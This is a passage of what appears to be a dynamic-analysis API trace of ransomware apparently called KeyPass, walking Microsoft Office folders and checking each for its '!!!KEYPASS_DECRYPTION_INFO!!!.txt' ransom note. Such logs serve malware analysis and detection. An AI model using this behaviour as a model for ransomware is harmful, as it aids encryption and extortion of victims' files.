lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.823] CloseHandle (hObject=0xc2c) returned 1 [0267.824] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.824] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.824] GetLastError () returned 0x3f0 [0267.824] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.824] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.828] GetFileType (hFile=0xc24) returned 0x1 [0267.828] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.828] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.828] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.828] CloseHandle (hObject=0xc24) returned 1 [0267.831] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0267.832] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38714f0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.832] GetLastError () returned 0x3f0 [0267.832] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.832] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.832] GetFileType (hFile=0xc30) returned 0x1 [0267.832] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0267.832] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0267.832] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0267.833] CloseHandle (hObject=0xc30) returned 1 [0267.833] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.833] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.833] GetLastError () returned 0x3f0 [0267.833] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.833] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.834] GetFileType (hFile=0xc34) returned 0x1 [0267.835] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.835] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.835] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.835] CloseHandle (hObject=0xc34) returned 1 [0267.836] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0267.836] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3881190 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.836] GetLastError () returned 0x3f0 [0267.836] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.836] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.836] GetFileType (hFile=0xc38) returned 0x1 [0267.836] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e518, cchData=2 | out: lpLCData="0") returned 2 [0267.836] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e504, cchData=2 | out: lpLCData="0") returned 2 [0267.836] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e4f4, cchData=2 | out: lpLCData="0") returned 2 [0267.837] CloseHandle (hObject=0xc38) returned 1 [0267.837] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.837] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.837] GetLastError () returned 0x3f0 [0267.837] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.837] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.865] GetFileType (hFile=0xc3c) returned 0x1 [0267.865] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.865] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.865] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.866] CloseHandle (hObject=0xc3c) returned 1 [0267.866] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0267.866] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.866] GetLastError () returned 0x3f0 [0267.866] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.866] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.867] GetFileType (hFile=0xc40) returned 0x1 [0267.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0267.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0267.867] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0267.868] CloseHandle (hObject=0xc40) returned 1 [0267.868] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.868] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.868] GetLastError () returned 0x3f0 [0267.868] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.868] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.872] GetFileType (hFile=0xc44) returned 0x1 [0267.872] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.872] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.872] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.873] CloseHandle (hObject=0xc44) returned 1 [0267.874] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0267.874] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3a6d048 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.874] GetLastError () returned 0x3f0 [0267.875] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.875] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.875] GetFileType (hFile=0xc4c) returned 0x1 [0267.875] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0267.876] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0267.876] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0267.876] CloseHandle (hObject=0xc4c) returned 1 [0267.876] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.877] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.877] GetLastError () returned 0x3f0 [0267.877] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.877] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EURO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.877] GetFileType (hFile=0xc50) returned 0x1 [0267.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.878] CloseHandle (hObject=0xc50) returned 1 [0267.878] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.878] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.878] GetLastError () returned 0x3f0 [0267.878] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.878] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Filters\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.915] GetFileType (hFile=0xc54) returned 0x1 [0267.915] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.915] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.915] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.916] CloseHandle (hObject=0xc54) returned 1 [0267.916] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.916] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.916] GetLastError () returned 0x3f0 [0267.916] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.916] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0267.968] GetFileType (hFile=0xc58) returned 0x1 [0267.968] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0267.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0267.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0267.974] CloseHandle (hObject=0xc58) returned 1 [0267.975] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0267.975] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0267.975] GetLastError () returned 0x3f0 [0267.975] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0267.975] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.010] GetFileType (hFile=0xc5c) returned 0x1 [0268.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.010] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.011] CloseHandle (hObject=0xc5c) returned 1 [0268.011] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.011] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.011] GetLastError () returned 0x3f0 [0268.011] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.011] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\MSClientDataMgr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.013] GetFileType (hFile=0xc60) returned 0x1 [0268.013] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.013] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.013] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.014] CloseHandle (hObject=0xc60) returned 1 [0268.014] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0268.014] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.014] GetLastError () returned 0x3f0 [0268.014] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.014] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.016] GetFileType (hFile=0xc48) returned 0x1 [0268.016] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0268.016] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0268.016] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0268.017] CloseHandle (hObject=0xc48) returned 1 [0268.017] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.017] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39a3018 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.017] GetLastError () returned 0x3f0 [0268.017] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.017] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.020] GetFileType (hFile=0xc64) returned 0x1 [0268.020] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.020] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.020] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.021] CloseHandle (hObject=0xc64) returned 1 [0268.021] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.021] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.021] GetLastError () returned 0x3f0 [0268.022] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.022] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.022] GetFileType (hFile=0xc68) returned 0x1 [0268.022] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.022] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.022] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.023] CloseHandle (hObject=0xc68) returned 1 [0268.023] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.023] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.023] GetLastError () returned 0x3f0 [0268.023] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.023] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.060] GetFileType (hFile=0xc6c) returned 0x1 [0268.060] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.060] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.060] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.062] CloseHandle (hObject=0xc6c) returned 1 [0268.063] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0268.063] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ed0670 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.063] GetLastError () returned 0x3f0 [0268.063] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.063] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Cartridges\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.067] GetFileType (hFile=0xc74) returned 0x1 [0268.067] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0268.067] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0268.068] GetLocaleInfoEx (in: 